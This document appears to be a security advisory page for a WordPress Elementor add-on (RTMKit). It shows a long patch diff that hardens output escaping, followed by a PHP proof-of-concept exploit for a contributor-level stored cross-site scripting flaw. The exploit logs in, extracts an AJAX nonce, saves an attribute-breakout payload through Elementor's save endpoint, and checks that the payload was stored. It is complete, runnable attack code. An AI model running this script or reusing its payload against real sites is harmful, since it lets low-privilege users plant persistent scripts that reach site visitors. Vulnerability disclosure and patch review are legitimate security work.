+ '{{WRAPPER}} .rkit-post-grid .rkit-readmore-btn.has-animation::before' => 'transition: all {{SIZE}}{{UNIT}} ease-in-out;',
+ ],
]
);
$this->end_controls_tab();
@@ -1696,7 +1785,7 @@
'type' => ElementorControls_Manager::DIMENSIONS,
'size_units' => ['px', '%', 'em', 'rem'],
'selectors' => [
- '{{WRAPPER}} .rkit-readmore-btn' => 'border-radius:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{RIGHT}}{{UNIT}}'
+ '{{WRAPPER}} .rkit-post-grid .rkit-readmore-btn' => 'border-radius:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{RIGHT}}{{UNIT}}'
]
]);
@@ -1862,15 +1951,15 @@
);
$this->add_group_control(
- ElementorGroup_Control_Border::get_type(),
- [
- 'name' => 'floating_date_border',
- 'selector' => '{{WRAPPER}} .rkit-float-metawrapper-date',
- 'condition' => [
- 'show-floating-date' => 'yes'
- ]
- ]
- );
+ ElementorGroup_Control_Border::get_type(),
+ [
+ 'name' => 'floating_date_border',
+ 'selector' => '{{WRAPPER}} .rkit-float-metawrapper-date',
+ 'condition' => [
+ 'show-floating-date' => 'yes'
+ ]
+ ]
+ );
$this->add_responsive_control(
'floating-date-border-radius',
@@ -2141,7 +2230,7 @@
$settings = $this->get_settings_for_display();
$arg = [
'post_type' => 'post',
- 'order_by' => $settings['order-by'],
+ 'orderby' => $settings['order-by'],
'order' => $settings['order']
];
@@ -2160,6 +2249,11 @@
if (!empty($settings['offset'])) {
$arg['offset'] = $settings['offset'];
}
+
+ $hover = !empty($settings['readmore_animation']) || $settings['readmore_animation'] !== ''
+ ? 'has-animation ' . $settings['readmore_animation']
+ : '';
+
$post = new WP_Query($arg);
if ($post->have_posts()) {
while ($post->have_posts()) {
@@ -2177,7 +2271,7 @@
<?php $categories = get_the_category();
foreach ($categories as $cat) : ?>
<div class="rkit-floating-category-div">
- <a class="rkit-floating-category-btn" type="button" href="<?php echo esc_url(get_category_link($cat->term_id)) ?>"><?php echo esc_html__($cat->name, 'rometheme-for-elementor') ?></a>
+ <a class="rkit-floating-category-btn" type="button" href="<?php echo esc_url(get_category_link($cat->term_id)) ?>"><?php echo esc_html($cat->name) ?></a>
</div>
<?php endforeach; ?>
</div>
@@ -2205,7 +2299,7 @@
?>
<div class="rkit-metadata-item">
<?php ElementorIcons_Manager::render_icon($settings['author-icon'], ['aria-hidden' => 'true', 'class' => 'rkit-meta-icon']); ?>
- <?php the_author_posts_link() ?>
+ <?php wp_kses_post(the_author_posts_link() ?? '') ?>
</div>
<?php
break;
@@ -2241,7 +2335,7 @@
<?php endif; ?>
<?php if ('yes' === $settings['show-title']) : ?>
<div class="rkit-post-grid-title-container">
- <a class="rkit-post-grid-title" href="<?php the_permalink() ?>"><?php echo esc_html__((empty($settings['truncate-title'])) ? wp_strip_all_tags($post_title) : wp_trim_words(wp_strip_all_tags($post_title), $settings['truncate-title']), 'rometheme-for-elementor') ?></a>
+ <a class="rkit-post-grid-title" href="<?php the_permalink() ?>"><?php echo esc_html((empty($settings['truncate-title'])) ? wp_strip_all_tags($post_title) : wp_trim_words(wp_strip_all_tags($post_title), $settings['truncate-title']), 'rometheme-for-elementor') ?></a>
</div>
<?php endif; ?>
<?php if ('after_title' === $settings['meta_position']) : ?>
@@ -2254,7 +2348,7 @@
?>
<div class="rkit-metadata-item">
<?php ElementorIcons_Manager::render_icon($settings['author-icon'], ['aria-hidden' => 'true', 'class' => 'rkit-meta-icon']); ?>
- <?php esc_html__(the_author_posts_link(), 'rometheme-for-elementor') ?>
+ <?php wp_kses_post(the_author_posts_link() ?? '') ?>
</div>
<?php
break;
@@ -2290,7 +2384,7 @@
<?php endif; ?>
<?php if ('yes' === $settings['show-content']) : ?>
<div class="rkit-post-grid-content">
- <p class="rkit-post-grid-paragraph"><?php echo esc_html__((empty($settings['truncate-content'])) ? wp_strip_all_tags($post_content) : wp_trim_words(wp_strip_all_tags($post_content), $settings['truncate-content']), 'rometheme-for-elementor') ?>
+ <p class="rkit-post-grid-paragraph"><?php echo esc_html((empty($settings['truncate-content'])) ? wp_strip_all_tags($post_content) : wp_trim_words(wp_strip_all_tags($post_content), $settings['truncate-content']), 'rometheme-for-elementor') ?>
</p>
</div>
<?php endif; ?>
@@ -2304,7 +2398,7 @@
?>
<div class="rkit-metadata-item">
<?php ElementorIcons_Manager::render_icon($settings['author-icon'], ['aria-hidden' => 'true', 'class' => 'rkit-meta-icon']); ?>
- <?php esc_html__(the_author_posts_link(), 'rometheme-for-elementor') ?>
+ <?php wp_kses_post(the_author_posts_link() ?? '') ?>
</div>
<?php
break;
@@ -2340,11 +2434,13 @@
<?php endif; ?>
<?php if ('yes' === $settings['show-read-more']) : ?>
<div class="rkit-readmore-div">
- <a class="rkit-readmore-btn" type="button" href="<?php the_permalink() ?>">
+ <a class="rkit-readmore-btn <?php echo esc_attr($hover); ?>" type="button" href="<?php the_permalink() ?>">
<?php if ('before' === $settings['icon_position']) {
ElementorIcons_Manager::render_icon($settings['icon_readmore'], ['aria-hidden' => 'true', 'class' => 'rkit-icon-readmore']);
} ?>
- <?php echo esc_html__($settings['readmore-text'], 'rometheme-for-elementor') ?>
+ <span class="btn-text">
+ <?php echo esc_html($settings['readmore-text']) ?>
+ </span>
<?php if ('after' === $settings['icon_position']) {
ElementorIcons_Manager::render_icon($settings['icon_readmore'], ['aria-hidden' => 'true', 'class' => 'rkit-icon-readmore']);
} ?>
--- a/rometheme-for-elementor/Inc/Elements/CardSlider.php
+++ b/rometheme-for-elementor/Inc/Elements/CardSlider.php
@@ -2,6 +2,8 @@
namespace RTMKitElements;
+if (! defined('ABSPATH')) exit;
+
class CardSlider extends ElementorWidget_Base
{
private function get_widget_data()
@@ -84,10 +86,10 @@
$this->add_control(
'show_subheading',
[
- 'label' => esc_html__('Show Sub Heading', 'textdomain'),
+ 'label' => esc_html__('Show Sub Heading', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::SWITCHER,
- 'label_on' => esc_html__('Show', 'textdomain'),
- 'label_off' => esc_html__('Hide', 'textdomain'),
+ 'label_on' => esc_html__('Show', 'rometheme-for-elementor'),
+ 'label_off' => esc_html__('Hide', 'rometheme-for-elementor'),
'return_value' => 'yes',
'default' => 'yes',
]
@@ -617,7 +619,7 @@
$this->add_responsive_control(
'card_body_opacity',
[
- 'label' => esc_html__('Opacity'),
+ 'label' => esc_html__('Opacity', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::SLIDER,
'range' => [
'px' => [
@@ -709,7 +711,7 @@
'default' => 'center',
'toggle' => true,
'selectors' => [
- '{{WRAPPER}} .rkit-card .card-heading' => 'align-items: {{VALUE}};',
+ '{{WRAPPER}} .rkit-card .card-heading' => 'align-items: {{VALUE}};text-align: {{VALUE}}',
],
]
);
@@ -1953,31 +1955,31 @@
);
$this->add_control(
- 'navigation_transition_duration',
- [
- 'type' => ElementorControls_Manager::SLIDER,
- 'label' => esc_html__( 'Transition Duration', 'rometheme-for-elementor' ),
- 'size_units' => [ 's', 'ms' ],
- 'range' => [
- 's' => [
- 'min' => 1,
- 'max' => 5,
- ],
+ 'navigation_transition_duration',
+ [
+ 'type' => ElementorControls_Manager::SLIDER,
+ 'label' => esc_html__('Transition Duration', 'rometheme-for-elementor'),
+ 'size_units' => ['s', 'ms'],
+ 'range' => [
+ 's' => [
+ 'min' => 1,
+ 'max' => 5,
+ ],
'ms' => [
'min' => 100,
'max' => 5000,
'step' => 100,
],
- ],
- 'default' => [
- 'unit' => 'ms',
- 'size' => 200,
- ],
+ ],
+ 'default' => [
+ 'unit' => 'ms',
+ 'size' => 200,
+ ],
'selectors' => [
'{{WRAPPER}} .rkit-swiper-button-prev , {{WRAPPER}} .rkit-swiper-button-next' => 'transition-duration: {{SIZE}}{{UNIT}};',
],
- ]
- );
+ ]
+ );
$this->end_controls_tab();
@@ -2067,7 +2069,7 @@
}
?>
- <div class="rkit-card-slider <?= $showAnimationNavigation ?>" data-config="<?php echo esc_attr(json_encode($config)) ?>">
+ <div class="rkit-card-slider <?php echo esc_attr($showAnimationNavigation) ?>" data-config="<?php echo esc_attr(json_encode($config)) ?>">
<!-- Slider main container -->
<div class="rkit-swiper">
<?php if ($settings['dots_position'] == 'top') : ?>
@@ -2087,6 +2089,7 @@
$this->add_render_attribute('image', 'src', $li['image']['url']);
$this->add_render_attribute('image', 'alt', ElementorControl_Media::get_image_alt($li['image']));
$this->add_render_attribute('image', 'title', ElementorControl_Media::get_image_title($li['image']));
+ // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
echo ElementorGroup_Control_Image_Size::get_attachment_image_html($li, 'thumbnail', 'image');
?>
</div>
--- a/rometheme-for-elementor/Inc/Elements/ClientGrid.php
+++ b/rometheme-for-elementor/Inc/Elements/ClientGrid.php
@@ -2,6 +2,8 @@
namespace RTMKitElements;
+ if ( ! defined( 'ABSPATH' ) ) exit;
+
class ClientGrid extends ElementorWidget_Base
{
private function get_widget_data()
@@ -153,15 +155,15 @@
$card_list->add_control(
'choose_hover_style',
[
- 'label' => esc_html__('Hover Mode', 'textdomain'),
+ 'label' => esc_html__('Hover Mode', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::CHOOSE,
'options' => [
'text' => [
- 'title' => esc_html__('Text', 'textdomain'),
+ 'title' => esc_html__('Text', 'rometheme-for-elementor'),
'icon' => 'eicon-t-letter-bold',
],
'image' => [
- 'title' => esc_html__('Image', 'textdomain'),
+ 'title' => esc_html__('Image', 'rometheme-for-elementor'),
'icon' => 'eicon-e-image',
],
],
@@ -229,10 +231,10 @@
$card_list->add_control(
'show_icons',
[
- 'label' => esc_html__('Show Icon', 'textdomain'),
+ 'label' => esc_html__('Show Icon', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::SWITCHER,
- 'label_on' => esc_html__('Yes', 'textdomain'),
- 'label_off' => esc_html__('No', 'textdomain'),
+ 'label_on' => esc_html__('Yes', 'rometheme-for-elementor'),
+ 'label_off' => esc_html__('No', 'rometheme-for-elementor'),
'return_value' => 'yes',
'default' => '',
]
@@ -241,7 +243,7 @@
$card_list->add_control(
'client_icon',
[
- 'label' => esc_html__('Client Icon', 'textdomain'),
+ 'label' => esc_html__('Client Icon', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::ICONS,
'default' => [
'value' => 'fas fa-star',
@@ -327,7 +329,7 @@
$this->add_control(
'container_spacing_horizontal',
[
- 'label' => esc_html__('Horizontal Spacing', 'textdomain'),
+ 'label' => esc_html__('Horizontal Spacing', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::SLIDER,
'size_units' => ['px', '%', 'em', 'rem', 'custom'],
'range' => [
@@ -350,7 +352,7 @@
$this->add_control(
'container_spacing_vertical',
[
- 'label' => esc_html__('Vertical Spacing', 'textdomain'),
+ 'label' => esc_html__('Vertical Spacing', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::SLIDER,
'size_units' => ['px', '%', 'em', 'rem', 'custom'],
'range' => [
@@ -883,7 +885,7 @@
$this->add_control(
'position_options',
[
- 'label' => esc_html__('Position', 'textdomain'),
+ 'label' => esc_html__('Position', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::HEADING,
'separator' => 'before',
]
@@ -892,15 +894,15 @@
$this->add_control(
'icon_vertical_position',
[
- 'label' => esc_html__('Vertical Position', 'textdomain'),
+ 'label' => esc_html__('Vertical Position', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::CHOOSE,
'options' => [
'top' => [
- 'title' => esc_html__('Top', 'textdomain'),
+ 'title' => esc_html__('Top', 'rometheme-for-elementor'),
'icon' => 'eicon-v-align-top',
],
'bottom' => [
- 'title' => esc_html__('Bottom', 'textdomain'),
+ 'title' => esc_html__('Bottom', 'rometheme-for-elementor'),
'icon' => 'eicon-v-align-bottom',
]
],
@@ -913,15 +915,15 @@
$this->add_control(
'icon_horizontal_position',
[
- 'label' => esc_html__('Horizontal Position', 'textdomain'),
+ 'label' => esc_html__('Horizontal Position', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::CHOOSE,
'options' => [
'left' => [
- 'title' => esc_html__('Left', 'textdomain'),
+ 'title' => esc_html__('Left', 'rometheme-for-elementor'),
'icon' => 'eicon-h-align-left',
],
'right' => [
- 'title' => esc_html__('Right', 'textdomain'),
+ 'title' => esc_html__('Right', 'rometheme-for-elementor'),
'icon' => 'eicon-h-align-right',
]
],
@@ -934,7 +936,7 @@
$this->add_responsive_control(
'x_offset',
[
- 'label' => esc_html__('Horizontal Offset', 'textdomain'),
+ 'label' => esc_html__('Horizontal Offset', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::SLIDER,
'size_units' => ['px', '%', 'em', 'rem', 'custom'],
'range' => [
@@ -958,7 +960,7 @@
$this->add_responsive_control(
'y_offset',
[
- 'label' => esc_html__('Vertical Offset', 'textdomain'),
+ 'label' => esc_html__('Vertical Offset', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::SLIDER,
'size_units' => ['px', '%', 'em', 'rem', 'custom'],
'range' => [
@@ -982,7 +984,7 @@
$this->add_control(
'icon_options',
[
- 'label' => esc_html__('Icons', 'textdomain'),
+ 'label' => esc_html__('Icons', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::HEADING,
'separator' => 'before',
]
@@ -991,7 +993,7 @@
$this->add_responsive_control(
'icon_size',
[
- 'label' => esc_html__('Icon Size', 'textdomain'),
+ 'label' => esc_html__('Icon Size', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::SLIDER,
'size_units' => ['px', '%', 'em', 'rem', 'custom'],
'range' => [
@@ -1018,7 +1020,7 @@
$this->add_control(
'icons_color',
[
- 'label' => esc_html__('Icon Color', 'textdomain'),
+ 'label' => esc_html__('Icon Color', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::COLOR,
'selectors' => [
'{{WRAPPER}} i.client-icon' => 'color: {{VALUE}}',
@@ -1040,7 +1042,7 @@
$this->add_control(
'icons_color_hover',
[
- 'label' => esc_html__('Icon Color', 'textdomain'),
+ 'label' => esc_html__('Icon Color', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::COLOR,
'selectors' => [
'{{WRAPPER}} .rkit-card-client:hover i.client-icon' => 'color: {{VALUE}}',
@@ -1063,7 +1065,7 @@
$this->add_control(
'icon_wrapper_options',
[
- 'label' => esc_html__('Icon Wrapper', 'textdomain'),
+ 'label' => esc_html__('Icon Wrapper', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::HEADING,
'separator' => 'before',
]
@@ -1072,7 +1074,7 @@
$this->add_responsive_control(
'icons_padding',
[
- 'label' => esc_html__('Padding', 'textdomain'),
+ 'label' => esc_html__('Padding', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::DIMENSIONS,
'size_units' => ['px', '%', 'em', 'rem', 'custom'],
'selectors' => [
@@ -1084,7 +1086,7 @@
$this->add_responsive_control(
'icons_radius',
[
- 'label' => esc_html__('Border Radius', 'textdomain'),
+ 'label' => esc_html__('Border Radius', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::DIMENSIONS,
'size_units' => ['px', '%', 'em', 'rem', 'custom'],
'selectors' => [
--- a/rometheme-for-elementor/Inc/Elements/Countdown.php
+++ b/rometheme-for-elementor/Inc/Elements/Countdown.php
@@ -2,6 +2,8 @@
namespace RTMKitElements;
+ if ( ! defined( 'ABSPATH' ) ) exit;
+
class Countdown extends ElementorWidget_Base
{
@@ -51,7 +53,7 @@
}
public function get_next_date()
{
- $nextDate = date('Y-m-d H:i:s', strtotime('+30 days'));
+ $nextDate = gmdate('Y-m-d H:i:s', strtotime('+30 days'));
return $nextDate;
}
@@ -246,7 +248,7 @@
'label' => esc_html__('Days', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::TEXT,
'default' => esc_html__('Days', 'rometheme-for-elementor'),
- 'placeholder' => esc_html__('', 'rometheme-for-elementor'),
+ 'placeholder' => '',
'condition' => [
'show_days' => 'yes',
'show_label' => 'yes',
@@ -261,7 +263,7 @@
'label' => esc_html__('Hours', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::TEXT,
'default' => esc_html__('Hours', 'rometheme-for-elementor'),
- 'placeholder' => esc_html__('', 'rometheme-for-elementor'),
+ 'placeholder' => '',
'condition' => [
'show_hours' => 'yes',
'show_label' => 'yes',
@@ -277,7 +279,7 @@
'label' => esc_html__('Minutes', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::TEXT,
'default' => esc_html__('Minutes', 'rometheme-for-elementor'),
- 'placeholder' => esc_html__('', 'rometheme-for-elementor'),
+ 'placeholder' => '',
'condition' => [
'show_minutes' => 'yes',
'show_label' => 'yes',
@@ -292,7 +294,7 @@
'label' => esc_html__('Seconds', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::TEXT,
'default' => esc_html__('Seconds', 'rometheme-for-elementor'),
- 'placeholder' => esc_html__('', 'rometheme-for-elementor'),
+ 'placeholder' => '',
'condition' => [
'show_seconds' => 'yes',
'show_label' => 'yes',
@@ -322,7 +324,7 @@
'label' => esc_html__('Title', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::TEXT,
'default' => esc_html__('FINISH!', 'rometheme-for-elementor'),
- Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8351 - RTMKit <= 2.0.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Advanced Heading Widget 'Background Text' Parameter
// Configuration
$target_url = 'http://example.com'; // Change to target WordPress URL
$username = 'contributor_user'; // Change to valid contributor credentials
$password = 'contributor_pass'; // Change to valid contributor password
// Payload: break out of HTML attribute and inject XSS
$payload = '" onfocus="alert(1)" autofocus="true';
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'profile') === false) {
echo "[-] Login failed. Check credentials.n";
exit(1);
}
echo "[+] Login successful.n";
// Step 2: Get Elementor Editor nonce (required to submit widget settings via AJAX)
$edit_page_url = $target_url . '/wp-admin/edit.php?post_type=page';
curl_setopt($ch, CURLOPT_URL, $edit_page_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
preg_match('/ajax_nonce":"([a-f0-9]+)"/', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
if (empty($nonce)) {
echo "[-] Could not extract AJAX nonce. Are you logged in as Contributor?n";
exit(1);
}
echo "[+] Extracted AJAX nonce: $noncen";
// Step 3: Create a new page via Elementor AJAX handler
// We use the Elementor editor AJAX endpoint to update page settings including widget data
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$page_title = 'XSS Test Page ' . time();
$actions_data = array(
'action' => 'elementor_ajax',
'_nonce' => $nonce,
'actions' => json_encode(array(
array(
'action' => 'save_builder',
'data' => array(
'settings' => array(
'show_background_text' => 'yes',
'background_text_heading' => $payload
),
'elements' => array(
array(
'elType' => 'widget',
'widgetType' => 'advanced-heading',
'settings' => array(
'text' => 'Test Heading',
'html_tag' => 'h2',
'show_background_text' => 'yes',
'background_text_heading' => $payload
)
)
)
)
)
))
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($actions_data));
$response = curl_exec($ch);
echo "[+] AJAX response: $responsen";
// Step 4: Verify the vulnerability by fetching the page
// Look for the injected payload in the HTML output
$page_url = $target_url . '/?page_id=' . urlencode($page_title);
curl_setopt($ch, CURLOPT_URL, $page_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
if (strpos($response, 'data-background-text="' . $payload) !== false) {
echo "[+] Vulnerability confirmed: payload found in page output.n";
} else {
echo "[-] Payload not found in page output. Check if widget rendered correctly.n";
}
// Cleanup
curl_close($ch);
unlink('/tmp/cookies.txt');
?>
